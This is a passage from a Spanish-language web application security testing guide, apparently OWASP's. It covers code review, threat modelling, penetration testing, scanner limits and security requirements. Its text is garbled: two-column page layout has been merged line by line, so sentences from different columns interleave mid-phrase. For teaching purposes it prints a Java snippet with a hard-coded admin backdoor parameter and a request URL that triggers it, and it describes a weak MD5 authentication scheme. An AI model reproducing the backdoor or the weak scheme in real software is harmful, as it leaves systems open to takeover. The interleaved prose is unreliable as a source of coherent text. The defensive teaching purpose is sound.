los datos personales con el debido cuidado, cualquiera que sea la aplicación. cualquier falso positivo que pueda haber en el informe. Reportar un hallazgo de
seguridad incorrecto a menudo puede minar la validez del resto del informe de
seguridad. Debe tener cuidado de verificar que cada sección de la lógica de la
aplicación ha sido probada, y que cada escenario de casos de usos fue explorado
Desarrollar la mentalidad correcta para encontrar posibles vulnerabilidades.
Probar exitosamente una aplicación contra vulnerabilidades de seguridad requiere

pensar "fuera de la caja." Casos de uso habitual pondrán a prueba el
comportamiento normal de la aplicación cuando un usuario la está utilizando de la Use el código fuente cuando esté disponible
manera esperada. Una buena prueba de seguridad requiere ir más allá de lo que se
espera y pensar como un atacante que está tratando de penetrar en la aplicación. El Aunque las pruebas de penetración de Caja Negra pueden ser impresionantes y
pensamiento creativo puede ayudar a determinar qué datos inesperados pueden útiles para demostrar cómo las vulnerabilidades están expuestas en un entorno de
causar que una aplicación falle de manera insegura. También puede ayudar a producción, no son la manera más eficaz o eficiente para asegurar una aplicación.
encontrar las suposiciones hechas por los desarrolladores web que no siempre son Es difícil, con una prueba dinámica, probar todo el código base, particularmente si
verdaderas y cómo pueden ser subvertidas. Una de las razones por las que las existen muchos condicionales anidados. Si el código fuente de la aplicación está

15
disponible, debería entregarse al personal de seguridad para ayudar a realizar su Utilizar una plantilla de informe de pruebas de seguridad puede ahorrar
revisión. Es posible descubrir vulnerabilidades dentro de la fuente de la aplicación tiempo y asegurar que los resultados sean documentados con precisión y
que pasaron desapercibidas con la prueba de la Caja Negra. consistencia y estén en un formato adecuado para el grupo objetivo.
Desarrollar métricas
Una parte importante de un buen programa de seguridad es su capacidad para

Explicación de las técnicas de
determinar si las cosas están mejorando. Es importante hacer seguimiento a
los resultados de la prueba y desarrollar indicadores (métricas) que revelen las
prueba
tendencias de seguridad de la aplicación dentro de la organización.
Unas buenas métricas mostrarán:

Esta sección presenta un resumen de alto nivel de diferentes técnicas de
prueba que se pueden emplear al crear un programa de pruebas. No presenta
metodologías específicas para estas técnicas ya que esta información está
• Si se requiere más educación y entrenamiento; cubierta en el capítulo 3. Esta sección se incluye para proporcionar un
contexto para el marco de referencia que se presenta en el próximo capítulo y
• Si existe un mecanismo de seguridad en particular que no ha sido entendido para resaltar las ventajas y desventajas de algunas de las técnicas que se deben
claramente por el equipo de desarrollo; considerar. En particular, cubrimos:
• Si el número total de problemas encontrados, relacionados con la seguridad, ha

disminuido mes a mes.
• Inspecciones y Revisiones Manuales
• Modelado de Amenazas
Las métricas constantes que se pueden generar de manera automatizada desde
el código fuente disponible también ayudarán a la organización en la
• Revisión de Código
evaluación de la efectividad de los mecanismos creados para reducir los fallos
de seguridad en el desarrollo de software. Las métricas no se desarrollan
• Pruebas de Penetración
fácilmente, así que usar métricas estándar como las previstas por el proyecto
de métricas OWASP y otras organizaciones es un buen punto de partida.
Inspecciones y Revisiones Manuales

Documente los resultados de las pruebas
Resumen
Para concluir el proceso de pruebas, es importante generar un registro formal
de las acciones de prueba que fueron tomadas, por quiénes, cuándo se
Las inspecciones manuales son revisiones realizadas por humanos, que
realizaron y los detalles de los resultados de la prueba. Es conveniente acordar
prueban típicamente las implicaciones de seguridad de las personas, políticas
un formato aprobado para el informe, que sea útil para todas las partes
y procesos. Las inspecciones manuales también pueden incluir la verificación
interesadas, que puede incluir desarrolladores, gerentes de proyectos, dueños
de las decisiones de tecnología tales como diseños arquitectónicos.
de negocios, departamento de tecnología, auditoría y cumplimiento.
Generalmente se realizan analizando documentación o realizando entrevistas
con los diseñadores o dueños del sistema.
Aunque el concepto de inspecciones manuales y revisiones humanas es

El informe debe ser claro para que el dueño del negocio identifique dónde
simple, estas pueden estar entre las técnicas disponibles más poderosas y
existen riesgos materiales, y suficiente para obtener su respaldo para acciones
eficaces. Preguntando a alguien cómo funciona algo y por qué se aplicó de
de mitigación posteriores. El informe también debe ser claro para el
una manera específica, el evaluador puede determinar rápidamente si alguna
desarrollador para poder precisar la función exacta que se ve afectada por la
duda de seguridad es evidente. Las revisiones y controles manuales son
vulnerabilidad y recomendaciones asociadas para resolver los problemas en
algunas de las contadas maneras para probar el proceso mismo del ciclo de
un lenguaje que entienda el desarrollador. El informe también deberá permitir
vida de desarrollo del software y para asegurar que existe una adecuada
que otro técnico de seguridad pueda reproducir los resultados. La redacción
política o habilidad.
del informe no debe ser una carga para el mismo técnico de seguridad. Los
técnicos de seguridad no son generalmente reconocidos por sus habilidades de
escritura creativa, y generar un informe complejo puede llevar a instancias
donde los resultados de la prueba no sean correctamente documentados.

16
Como con muchas cosas en la vida, al realizar inspecciones manuales y Para desarrollar un modelo de amenazas, se recomienda adoptar un enfoque
revisiones, es recomendable adoptar un modelo de "confíe pero verifique". No simple que sigue el estándar NIST 800-30 [11] de evaluación del riesgo. Este
todo lo que el evaluador muestre o diga será preciso. enfoque implica:
Las revisiones manuales son particularmente buenas para probar si las

personas entienden el proceso de seguridad, han sido concientizadas sobre la
política y tienen las habilidades apropiadas para diseñar o implementar una
aplicación segura.
• Descomposición de la aplicación - utilice un proceso de inspección manual
Otras actividades, como revisar manualmente la documentación, políticas de
para entender cómo funciona la aplicación, sus activos, funcionalidad y
codificación seguras, requisitos de seguridad y diseños arquitectónicos, deben
conectividad.
ser cumplidas mediante una inspección manual.
• Definir y clasificar los activos – clasifique los activos en tangibles e
intangibles y ordénelos según la importancia del negocio.
Ventajas: • Explorar posibles vulnerabilidades - sean técnicas, operacionales o de

administración.
• No requieren de tecnología de apoyo.
• Explorar posibles amenazas - desarrolle una visión realista de los posibles
• Se pueden aplicar a una variedad de situaciones. vectores de ataque desde la perspectiva de un atacante, mediante el uso de
escenarios de amenaza o árboles de ataque.
• Son flexibles.
• Promueven el trabajo en equipo.

• Crear estrategias de mitigación - desarrollando controles de mitigación para
• Se inician temprano en el SDLC. cada una de las amenazas consideradas realistas.
Desventajas: El reporte de un modelo de amenaza en sí puede variar, pero, por lo general, es

una colección de listas y diagramas. La guía de Revisión de Códigos de
• Pueden desperdiciar el tiempo.
OWASP describe una metodología de un modelo de amenazas para
aplicaciones, que puede utilizarse como referencia para las aplicaciones de
• El material de apoyo material no siempre está disponible.
prueba de posibles fallos de seguridad en el diseño de la aplicación. No existe
ninguna forma correcta o incorrecta para desarrollar modelos de amenaza y
• Requieren significativamente del pensamiento humano y la habilidad para
realizar evaluaciones de riesgos de información en las aplicaciones. [12].
ser eficaces.
Ventajas:
Creación de modelos de amenazas
• Vista práctica del sistema desde el punto de vista del atacante.
Resumen • Flexible
La creación de modelos de amenazas se ha convertido en una técnica popular • Se inicia temprano en el SDLC.
para ayudar a los diseñadores de sistemas a pensar sobre las amenazas de
seguridad que podrían enfrentar sus sistemas y aplicaciones. Por lo tanto, la
creación de modelos de amenazas puede verse como la evaluación de riesgo
para las aplicaciones. De hecho, permite al diseñador desarrollar estrategias de Desventajas:
mitigación para las vulnerabilidades potenciales y les ayuda a focalizar su
inevitable escasez de recursos y atención en las partes del sistema que más lo • Técnica relativamente nueva.
requiere. Se recomienda que todas las aplicaciones tengan un modelaje de
amenazas desarrollado y documentado. Los modelos de amenazas deben • Buenos modelos de amenazas no significan automáticamente buenas
crearse lo antes posible en el SDLC y deben ser revisados mientras evoluciona aplicaciones.
la aplicación y el desarrollo progresa.

17
Revisión de código fuente • Requiere de desarrolladores expertos de seguridad.
• Puede saltarse temas en bibliotecas compiladas.

Resumen
• No puede detectar fácilmente errores de tiempo de ejecución.
La revisión del código fuente es el proceso de comprobar manualmente el
código fuente de una aplicación web por cuestiones de seguridad. Muchas
• El código fuente desplegado puede diferir del que se analiza.
vulnerabilidades serias de seguridad no pueden ser detectadas mediante otra
forma de análisis o pruebas. Como dice el dicho popular "Si usted quiere saber
lo que realmente está pasando, vaya directamente a la fuente". Casi todos los
expertos en seguridad están de acuerdo en
Para más información sobre revisión de código, investigue el proyecto de
revisión de código OWASP.
que no existe un sustituto para revisar el código. Toda la información para

identificar problemas de seguridad existe en alguna parte del código. A
Pruebas de penetración
diferencia de las pruebas de software cerrado externo, tales como los sistemas
operativos, al probar aplicaciones web (sobre todo si han sido desarrolladas en
Resumen
la empresa), el código fuente debe estar disponible para propósitos de prueba.
Las pruebas de penetración han sido, por muchos años, una técnica común
utilizada para probar la seguridad de la red. También se las conoce
comúnmente como pruebas de Caja Negra o piratería (hacking) ética. Las
Muchos problemas de seguridad no intencionales, pero significativos, son
pruebas de penetración son esencialmente el "arte" de probar una aplicación
también extremadamente difíciles de descubrir mediante otras formas de
en ejecución remotamente para encontrar vulnerabilidades de seguridad, sin
análisis o pruebas, como las pruebas de penetración; hacen del análisis de
saber el funcionamiento interno de la aplicación. Por lo general, el equipo de
código fuente la técnica elegida para la prueba técnica. Con el código fuente,
pruebas de penetración tendría acceso a una aplicación como si fuera usuario.
un evaluador puede determinar con precisión lo que está sucediendo (o se
El evaluador actúa como un intruso e intenta encontrar y explotar
supone que sucede) y eliminar la conjetura de la prueba de Caja Negra.
vulnerabilidades. En muchos casos, al evaluador se le dará una cuenta válida
en el sistema.
Ejemplos de temas que son especialmente propicios para ser encontrados a

través de revisiones de código fuente incluyen problemas de concurrencia,
Mientras que las pruebas de penetración han demostrado ser eficaces en la
lógica de negocio imperfecto, problemas de control de acceso y debilidades
seguridad de la red, la técnica no se traduce naturalmente a las aplicaciones.
criptográficas, así como puertas traseras, troyanos, huevos de pascua, bombas
Cuando se realizan pruebas de penetración en redes y sistemas operativos, la
de tiempo, bombas lógicas y otras formas de código malicioso. Estos
mayoría del trabajo está relacionado con encontrar y luego explotar
problemas a menudo se manifiestan como las más nefastas vulnerabilidades
vulnerabilidades conocidas en tecnologías
en sitios web. El análisis de código fuente también puede ser extremadamente
eficiente para encontrar problemas de implementación tales como lugares
donde no se realizó la validación de entrada o cuando los procedimientos de
control abierto de fallas pueden estar presentes. Pero tenga en cuenta qué los
específicas. Como las aplicaciones web son básicamente hechas a la medida,
procedimientos operacionales deben revisarse, ya que el código fuente que
las pruebas de penetración en el campo de las aplicaciones web son más
está implementando no sería el mismo que el analizado en este documento
parecidas a la investigación pura. Se han desarrollado herramientas de pruebas
[13].
de penetración que automatizan el proceso, pero por la naturaleza de las
aplicaciones web, su eficacia es generalmente pobre.
Ventajas:
Muchas personas utilizan hoy en día las pruebas de penetración como su
• Finalización y efectividad.
técnica de pruebas de seguridad primaria. Aunque ciertamente tiene su lugar en
un programa de pruebas, no creemos que debe ser considerada como la técnica
• Precisión.
principal o la única. Gary McGraw en [14] resumió bien a las pruebas de
• Es rápida (para correctores competentes). penetración cuando dijo: "Si fallas una prueba de penetración, sabes que tienes
un problema muy malo en verdad. Si pasas una prueba de penetración, no sabes
si tienes un problema muy malo". Sin embargo, las pruebas de penetración
focalizadas (es decir, pruebas que buscan explotar vulnerabilidades conocidas
Desventajas: y detectadas en revisiones anteriores) pueden ser útiles en la detección si

18
realmente se arreglan algunas vulnerabilidades específicas en el código desafíen todos los supuestos, tales como el no acceso al código fuente y el explorar
desplegado en el sitio web. la posibilidad de realizar pruebas más completas.
Ventajas: Un enfoque equilibrado varía dependiendo de muchos factores, tales como la

madurez del proceso de prueba y la cultura corporativa. Se recomienda que un
• Puede ser rápida (y por lo tanto económica). marco de pruebas equilibrado se vea como las representaciones que se muestran en
la Figura 3 y Figura 4. La siguiente figura muestra una típica representación
• Requiere de un conjunto de habilidades relativamente inferior al requerido proporcional sobrepuesta al ciclo de vida de desarrollo de software. Para
para revisión de código fuente. mantenerse al nivel de la investigación y la experiencia, es esencial que las
empresas pongan un mayor énfasis en las primeras etapas de desarrollo.
• Prueba el código que realmente se está exponiendo.
Figura 3: Proporción esfuerzo en pruebas en el SDLC

Desventajas:
• Se realiza demasiado tarde en el SDLC.
• Es solamente una prueba de impacto frontal.
La necesidad de un enfoque equilibrado
Con tantas técnicas y enfoques para probar la seguridad de aplicaciones web,

puede ser difícil entender qué técnicas usar y cuándo usarlas. La experiencia
demuestra que no existe una respuesta correcta o incorrecta a la pregunta sobre
qué técnicas exactas pueden usarse para construir un marco conceptual de
pruebas. De hecho, todas las técnicas probablemente pueden usarse para poner
a prueba todas las áreas que necesitan ser probadas.
Aunque es claro que no existe una técnica única que pueda realizarse para cubrir
eficientemente todas las pruebas de seguridad y asegurarse de que todos los temas En la siguiente figura se muestra una típica representación proporcional
sobrepuesta a las pruebas técnicas.
han sido abordados, muchas empresas adoptan sólo una aproximación. El enfoque
utilizado ha sido históricamente pruebas de penetración. Las pruebas de
penetración, aunque útiles, no pueden abordar eficazmente muchos de los temas
que deben analizarse. Simplemente es "muy poco y muy tarde" en el ciclo de vida
del desarrollo de software (SDLC). Figura 4: Proporción de prueba de esfuerzo según prueba técnica
El enfoque correcto es un enfoque equilibrado que incluye varias técnicas, desde

revisiones manuales a pruebas técnicas. Un enfoque equilibrado debe cubrir las
pruebas en todas las fases del SDLC. Este enfoque aprovecha las técnicas más
apropiadas disponibles, dependiendo de la fase actual de SDLC.
Por supuesto, hay momentos y circunstancias donde solo es posible usar una
técnica. Por ejemplo, una prueba en una aplicación web que ya ha sido creada, pero
donde el grupo de pruebas no tiene acceso al código fuente. En este caso, las
pruebas de penetración son claramente mejores que no hacer ninguna prueba en
absoluto. Sin embargo, se recomienda que las personas encargadas de la prueba
Una nota acerca de los escáneres de aplicaciones Web:

19
Muchas organizaciones han empezado a utilizar escáneres de aplicaciones web Mirando el código, la vulnerabilidad prácticamente salta de la página como un
automatizados. Aunque sin duda tienen su lugar en un programa de pruebas, problema potencial.
algunos temas fundamentales deben ser resaltados porque se cree que las pruebas
de Caja Negra automatizadas no son (o serán algún día) eficaces. Sin embargo,
destacar estos temas no debería desalentar el uso de los escáneres de aplicación
web. Por el contrario, el objetivo es asegurar que se entienden las limitaciones y, Ejemplo 2: Mala criptografía
así, los marcos de pruebas se planeen adecuadamente.
La criptografía es ampliamente utilizada en aplicaciones web. Imagine que un
desarrollador decidió escribir un algoritmo de criptografía simple para autenticar un
usuario desde el sitio A al sitio B automáticamente. En su sabiduría, el
Importante: OWASP actualmente está trabajando para desarrollar una plataforma desarrollador decide que si un usuario está conectado en el sitio A, entonces
de escaneo mediante una evaluación comparativa. Los ejemplos siguientes generará una clave utilizando una función de hash MD5 que comprende: Hash
muestran por qué las pruebas automatizadas de Caja Negra son ineficaces. {username: fecha}.
'Ejemplo 1: Los parámetros mágicos' Cuando un usuario se pasa al sitio B, él o ella le enviará la clave en la cadena de
consulta al sitio B en el re direccionamiento HTTP. El sitio B independientemente
Imagine una aplicación web simple que acepte un par nombre-valor de "magia" y calcula el valor hash y compara con el hash pasado en la petición. Si coinciden, el
luego el valor. Para simplificar, la solicitud GET puede ser: sitio B autentica al usuario como dice ser.
http://www.host/application?magic=value Al explicar el esquema, las deficiencias pueden trabajarse. Cualquiera que entienda
el esquema (o se le diga cómo funciona, o descargue la información de Bugtraq)
Para simplificar más el ejemplo, los valores en este caso solo pueden ser caracteres puede iniciar una sesión como cualquier usuario.
ASCII a-z (mayúsculas o minúsculas) y números enteros 0 – 9.
La inspección manual, como una revisión o inspección de código, habría
descubierto rápidamente este problema de seguridad. Un escáner de aplicaciones
web de Caja Negra no habría descubierto la vulnerabilidad. Habría visto un hash de
Los diseñadores de esta aplicación crearon una puerta trasera de administración 128 bits que cambia con cada usuario, y por la naturaleza de las funciones hash, no
durante la prueba, pero la ofuscaron para evitar que un observador casual pueda cambió en una manera predecible.
descubrirla. Enviando el valor sf8g7sfjdsurtsdieerwqredsgnfg8d (31 caracteres), el
usuario, entonces, se conectará y tendrá una pantalla administrativa con el control Una nota sobre las herramientas de revisión de códigos fuente estáticas:
total de la aplicación. La solicitud HTTP es ahora:
Muchas organizaciones han comenzado a usar escáneres estáticos de códigos
http://www.host/application?magic=sf8g7sfjdsurtsdieerwqredsgnfg8d fuente. Aunque, sin duda, tienen un lugar en un programa de pruebas
comprehensivo, es necesario resaltar algunas cuestiones fundamentales acerca de
por qué este enfoque no es eficaz cuando se utiliza solo. El análisis de código
fuente estático no puede identificar los problemas debidos a fallas en el diseño, ya
Dado que todos los otros parámetros fueron campos simples de dos y tres que no puede entender el
caracteres, no es posible adivinar combinaciones de aproximadamente 28
caracteres. Se necesitaría la fuerza bruta de un escáner de aplicaciones web (o
adivinar) para encontrar todo el espacio de clave de 30 caracteres. Que es hasta 30 ^
28 permutaciones, o trillones de peticiones HTTP. Esto es un electrón en un pajar contexto en el que se construye el código. Las herramientas de análisis de código
digital. fuente son útiles en la determinación de problemas de seguridad debido a errores de
codificación; sin embargo, se requiere un esfuerzo manual significativo para validar
los resultados.
La verificación del código de este parámetro mágico ejemplar puede verse a

continuación:
Derivar requerimientos de prueba de seguridad
public void doPost( HttpServletRequest request, HttpServletResponse
Para tener un programa de pruebas exitoso, uno debe saber cuáles son los objetivos
response)
de la prueba. Estos objetivos se especifican en los requisitos de seguridad. Esta
sección explica en detalle cómo documentar los requisitos de las pruebas de
{
seguridad, derivándolos de reglamentos y normas aplicables y de los requisitos
String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”; positivos y negativos de la aplicación. También habla de cómo los requisitos de
boolean admin = magic.equals( request.getParameter(“magic”));
20
if (admin) doAdmin( request, response);
else …. // normal processing

seguridad conducen efectivamente las pruebas de seguridad durante el SDLC y Otra sección de la lista de verificación debe cumplir con los requisitos generales
cómo se pueden utilizar los datos de pruebas de seguridad para gestionar para el cumplimiento de las políticas y normas de seguridad de información de la
eficazmente los riesgos de seguridad de software. organización. Desde la perspectiva de los requisitos funcionales, los requisitos para
el control de seguridad deben guiar a una sección específica de las normas de
seguridad de la información. Un ejemplo de tal requisito puede ser: "la complejidad
de la contraseña de seis caracteres alfanuméricos debe aplicarse por los controles de
Objetivos de realizar pruebas autenticación utilizados por la aplicación". Cuando los requisitos de seguridad
apuntan hacia normas que deben ser cumplidas, una prueba de seguridad puede
Uno de los objetivos de las pruebas de seguridad es validar que los controles de validar la exposición de riesgos de cumplimiento. Si se encuentra una violación a
seguridad funcionan como se espera. Esto se documenta por medio de requisitos de las políticas y normas de seguridad de la información, ésta resultará en un riesgo
seguridad que describen la funcionalidad del control de seguridad. En un nivel alto, que puede ser documentado y que la empresa tiene que gestionar. Puesto que estos
esto significa comprobar la confidencialidad, integridad y disponibilidad de los requisitos de seguridad son exigibles, estos deben estar bien documentados y
datos, así como el servicio. El otro objetivo es validar que los controles de validados con pruebas de seguridad.
seguridad se implementen con pocas o ninguna vulnerabilidad. Hay
vulnerabilidades comunes, tales como el OWASP Top Ten, así como las
vulnerabilidades que se han identificado previamente en evaluaciones de seguridad
durante el SDLC, como modelaje de amenazas, análisis de código fuente y prueba Validación de requisitos de seguridad
de penetración.
Desde la perspectiva de funcionalidad, la validación de requisitos de seguridad
Documentación de requisitos de seguridad es el principal objetivo de las pruebas de seguridad. Desde la perspectiva de la
gestión de riesgo, la validación de requisitos de seguridad es el objetivo de las
El primer paso en la documentación de requisitos de seguridad es entender los evaluaciones de seguridad de información. En un nivel alto, el principal objetivo
requerimientos del negocio. Un documento de requisitos del negocio puede de las evaluaciones de seguridad de información es la identificación de grietas en
proporcionar información inicial de alto nivel sobre la funcionalidad esperada de la los controles de seguridad, tales como la falta de controles básicos de
aplicación. Por ejemplo, el propósito principal de una aplicación puede ser autenticación, autorización o controles de encriptado. Más a profundidad, el
proporcionar servicios financieros a clientes o permitir adquirir bienes de un objetivo de la evaluación de seguridad es el análisis de riesgo, tal como la
catálogo en línea. Una sección de seguridad de los requerimientos del negocio debe identificación de las debilidades potenciales en los controles de seguridad que
resaltar la necesidad de proteger los datos del cliente, así como cumplir con la garanticen la confidencialidad, integridad y disponibilidad de los datos. Por
documentación de seguridad aplicable, tal como regulaciones, estándares y ejemplo, cuando la aplicación trata con información personal identificable (PII)
políticas. y datos sensibles, el requisito de seguridad a validar es el cumplimiento de las
políticas de seguridad de la empresa en cuanto al encriptado de la información
de dichos datos tanto en tránsito como en almacenamiento.
Una lista general de las regulaciones, estándares y políticas es un buen análisis de Asumiendo que el cifrado se utiliza para proteger los datos, los algoritmos de
cumplimiento de seguridad preliminar para las aplicaciones web. Por ejemplo, el cifrado y longitud de claves deben cumplir con los estándares de encriptación de
cumplimiento de las reglamentaciones puede identificarse revisando información la organización. Estos pueden requerir que solo se utilice ciertos algoritmos y
del sector empresarial y del país o estado donde funcionará la aplicación. Algunas longitudes de clave. Por ejemplo, un requisito de seguridad que puede ser
de estas normas y directrices de cumplimiento podrían traducirse en requerimientos probado es verificar que se utilizan sólo códigos permitidos (por ejemplo, SHA-
técnicos específicos para controles de seguridad. Por ejemplo, en el caso de 256, RSA, AES) con longitud de claves mínimas permitidas (por ejemplo, más
aplicaciones financieras, el cumplimiento de las pautas de la FFIEC para de 128 bits para encriptado simétrico y de más de 1024 para encriptado
autenticación [15] requiere que las instituciones financieras implementen asimétrico).
aplicaciones que mitiguen los riesgos de autenticación débil con autenticación de
múltiples etapas y control de seguridad multifactorial.
Desde la perspectiva de la evaluación de seguridad, los requisitos de seguridad

pueden ser validados en diferentes fases de la SDLC utilizando diferentes
Los estándares aplicables para la seguridad deben también estar capturados en la artefactos y metodologías de prueba. Por ejemplo, la creación de modelos de
lista de verificación de requisitos generales de seguridad. Por ejemplo, en el caso de amenazas se centra en la identificación de fallas de seguridad durante el diseño,
aplicaciones que manejan datos de tarjetas de crédito del cliente, el cumplimiento análisis del código de seguridad; las revisiones se centran en identificar
con el estándar PCI DSS [16] prohíbe el almacenamiento de información de PINS problemas de seguridad en el código fuente durante el desarrollo, y las pruebas
y datos CVV2 y requiere que el comerciante proteja los datos de la banda de penetración se centran en la identificación de vulnerabilidades en la
magnética en el almacenamiento y transmisión mediante encriptación y en pantalla aplicación durante la prueba o validación.
mediante enmascarar los datos. Estos requisitos de seguridad PCI DSS pudieran ser
validados a través del análisis del código fuente.
Los problemas de seguridad que se identifican temprano en el SDLC se pueden

documentar en un plan de pruebas para ser validadas posteriormente con pruebas
de seguridad. Combinando los resultados de las diferentes técnicas de prueba, es
21
posible derivar mejor los casos de prueba de seguridad y aumentar el nivel de una función hash para cifrar una contraseña, sin la aplicación de una semilla en
protección de los requisitos de seguridad. Por ejemplo, distinguir las verdaderas el valor. Desde la perspectiva de codificación segura, se trata de una
vulnerabilidades de los no-explotables es posible cuando se combinan los vulnerabilidad que afecta a la encriptación usada para la autenticación con una
resultados de pruebas de penetración y análisis de código fuente. Considerando vulnerabilidad cuya causa está en el error de codificación. Puesto que la causa es
la prueba de seguridad para una vulnerabilidad de inyección de un S L, por una codificación insegura, el requisito de seguridad puede ser documentado en
ejemplo una prueba de Caja Negra,en primer lugar, podría involucrar un análisis las normas de codificación seguras y validado a través de revisiones de código
de la aplicación para identificar la vulnerabilidad. La primera evidencia de una seguro durante la fase de desarrollo de la SDLC.
potencial vulnerabilidad de inyección de una SQL que puede ser validada es la
generación de una excepción de la SQL. Una
Pruebas de seguridad y Análisis de riesgos
validación posterior de la vulnerabilidad de la SQL puede implicar inyectar Los requerimientos de seguridad deben tomar en cuenta la gravedad de las
manualmente vectores de ataque para modificar la gramática de la consulta SQL vulnerabilidades para apoyar una estrategia de mitigación de riesgo. Asumiendo
para explotar la divulgación de la información. Esto podría involucrar una gran que la organización mantiene un registro de vulnerabilidades en aplicaciones (es
cantidad de análisis de ensayo y error hasta que la consulta dañina se ejecute. decir, una base de conocimiento de vulnerabilidades), los temas de seguridad
Suponiendo que el evaluador tenga el código fuente, ella puede aprender a partir pueden ser reportados por tema, tipo, causa principal, mitigación y direccionados
del análisis de código fuente, como construir el vector de ataque de la SQL que a las aplicaciones donde se encuentran. Tal base de conocimiento de
puede explotar la vulnerabilidad (por ejemplo, ejecutar una consulta maliciosa vulnerabilidades también puede utilizarse para establecer métricas para analizar
que devuelve datos confidenciales a un usuario no autorizado). la eficacia de las pruebas de seguridad en el SDLC.
Taxonomías de las amenazas y defensas
La clasificación de amenazas y defensas, que considera la raíz de las Por ejemplo, considere un problema de validación de entrada, como una
vulnerabilidades, es el factor crítico en la verificación de que los controles de inyección de SQL, que se identificó a través del análisis del código fuente y
seguridad sean diseñados, codificados y construidos para mitigar el impacto de registrado con una causa principal de error de codificación y tipo, una
la exposición de esas vulnerabilidades. En el caso de las aplicaciones web, la vulnerabilidad de validación de entrada. La exposición de esta vulnerabilidad
exposición de los controles de seguridad para vulnerabilidades comunes, tales puede ser evaluada mediante una prueba de penetración, mediante el análisis de
como el OWASP Top Ten, puede ser un buen punto de partida para derivar los campos de entrada con varios vectores de ataque de inyección de SQL. Esta
requisitos generales de seguridad. Más concretamente, el framework de prueba puede validar que los caracteres especiales son filtrados antes de llegar a
seguridad de aplicaciones web [17] proporciona una clasificación (por ejemplo la base de datos y mitigan la vulnerabilidad. Combinando los resultados del
taxonomía) de vulnerabilidades que pueden ser documentadas en diferentes análisis de código fuente y pruebas de penetración es posible determinar la
guías y estándares diferentes y validados con pruebas de seguridad. probabilidad y la exposición a la vulnerabilidad y calcular la calificación de
riesgo de la vulnerabilidad. Informando las calificaciones de riesgo de
vulnerabilidad en los resultados (por ejemplo, informe de pruebas) es posible
decidir sobre la estrategia de mitigación. Por ejemplo, las vulnerabilidades de
El foco de una categorización de amenazas y defensas es definir los requisitos de mediano y alto riesgo pueden priorizarse para ser remediadas, mientras que las
seguridad en cuanto a las amenazas y la causa principal de la vulnerabilidad. de bajo riesgo se pueden arreglar en las siguientes versiones.
Una amenaza puede ser categorizada usando STRIDE [18] como Suplantación
de identidad, Manipulación, Repudio, revelación de Información, Negación de
servicio y Elevación de privilegios. La causa puede calificarse como falla de
seguridad en el diseño, un error de seguridad en la codificación o un problema Teniendo en cuenta los escenarios de amenaza de la explotación de
debido a una configuración insegura. Por ejemplo, la causa de la vulnerabilidad vulnerabilidades comunes, es posible identificar los riesgos potenciales que
de autenticación débil podría ser la falta de autenticación mutua cuando los datos deben probarse en el control de seguridad de la aplicación. Por ejemplo, las diez
cruzan un límite de confianza entre los niveles del cliente y de ensambles del vulnerabilidades más importantes de OWASP pueden ser direccionadas a
servidor de la aplicación. Un requisito de seguridad que capture la amenaza de ataques como el fraude electrónico (phishing), violaciones de privacidad, robo
no repudio durante una revisión del diseño de arquitectura permite la de identidad, sistema comprometido, alteración de datos o destrucción de datos,
documentación del requisito de defensa (por ejemplo, autenticación mutua) que pérdidas financieras y pérdida de reputación. Estos temas deberían documentarse
puede ser validada posteriormente con pruebas de seguridad. como parte de los escenarios de amenaza. Pensando en términos de amenazas y
vulnerabilidades, es posible diseñar una batería de pruebas que simulen estos
escenarios de ataque. Idealmente, la base de conocimientos de vulnerabilidades
de la organización puede utilizarse para derivar pruebas de seguridad dirigidas
Una categorización de amenazas y defensas para las vulnerabilidades puede por los casos de riesgos de seguridad para validar los escenarios de ataque más
utilizarse también para documentar requerimientos de seguridad de la probables. Por ejemplo, si el robo de identidad se considera de alto riesgo,
codificación segura como estándares de codificación seguras. Un ejemplo de un escenarios de prueba negativos deben validar la mitigación de los impactos
error de codificación común en los controles de autenticación consiste en aplicar

22
derivados de la explotación de las vulnerabilidades de autenticación, controles • La plantilla de restablecimiento de contraseña debe validar el nombre de
criptográficos, validación del ingreso y controles de validación. usuario y el email del usuario registrado antes de enviar la contraseña temporal
del usuario por correo electrónico. La contraseña temporal emitida debe ser una
contraseña de un solo uso. Se enviará un enlace a la página de restablecimiento
de contraseña al usuario. La página de restablecimiento de contraseña debe
validar la contraseña temporal del usuario, la contraseña nueva, así como la
respuesta del usuario a la pregunta de desafío.
Derivación de requisitos de pruebas de seguridad

funcionales y no funcionales
Requisitos de seguridad a causa del riesgo
Requerimientos de seguridad funcional
Las pruebas de seguridad deben ser dirigidas de acuerdo al riesgo; esto significa
que necesitan validar la aplicación de un comportamiento inesperado. Éstos
también se llaman "requisitos negativos", ya que especifican lo que no debe
Desde la perspectiva de los requisitos de seguridad funcional, las normas hacer la aplicación.
aplicables, las reglamentaciones y políticas conducen tanto a la necesidad de un
tipo de control de seguridad, así como a la funcionalidad del control. Estos
requisitos también se denominan "requisitos positivos", ya que aseguran la
Ejemplos de requisitos negativos son:
funcionalidad prevista a través de pruebas de seguridad. Ejemplos de requisitos
positivos son: "la aplicación bloqueará al usuario después de seis intentos
fallidos de ingreso" o "las contraseñas deben tener un mínimo de seis caracteres
alfanuméricos". La validación de requisitos positivos consiste en afirmar la
• La aplicación no debe permitir que los datos sean modificados o destruidos.
funcionalidad esperada y se puede probar creando nuevamente las condiciones
de prueba y realizando la prueba de acuerdo con las entradas predefinidas. Los
• La aplicación no debe ser comprometida o mal utilizada para transacciones
resultados aparecen entonces como una condición de error o de pasar.
financieras no autorizadas por un usuario malintencionado.
Para validar los requisitos de seguridad con pruebas de seguridad, estos deben
Los requisitos negativos son más difíciles de probar, porque no hay ningún
estar impulsados por la función y necesitan resaltar la funcionalidad esperada (el
comportamiento esperado que se pueda buscar. Esto podría requerir que un
qué) e implícitamente la implementación (el cómo). Ejemplos de requisitos de
analista de amenazas cree causas y condiciones de entradas imprevisibles. Aquí
diseño de alto nivel de seguridad para la autenticación pueden ser:
es donde las pruebas de seguridad deben ser conducidas por el análisis de riesgo
y modelo de amenazas. La clave es documentar los escenarios de amenaza y la
funcionalidad de la defensa como factor para mitigar una amenaza.
• Proteger las credenciales de usuario y secretos compartidos en tránsito y en

almacenamiento.
Por ejemplo, en el caso de controles de autenticación, los siguientes requisitos de
• Enmascarar cualquier dato confidencial en pantalla (por ejemplo, contraseñas,
seguridad se pueden documentar desde la perspectiva de amenazas y defensas:
cuentas).
• Bloqueo de la cuenta de usuario después de un cierto número de intentos

fallidos de registro.
• Encriptado de datos de autenticación en tránsito o almacenamiento para mitigar
el riesgo de ataques de divulgación de información y protocolo de autenticación.
• No mostrar errores de validación específicos para el usuario como
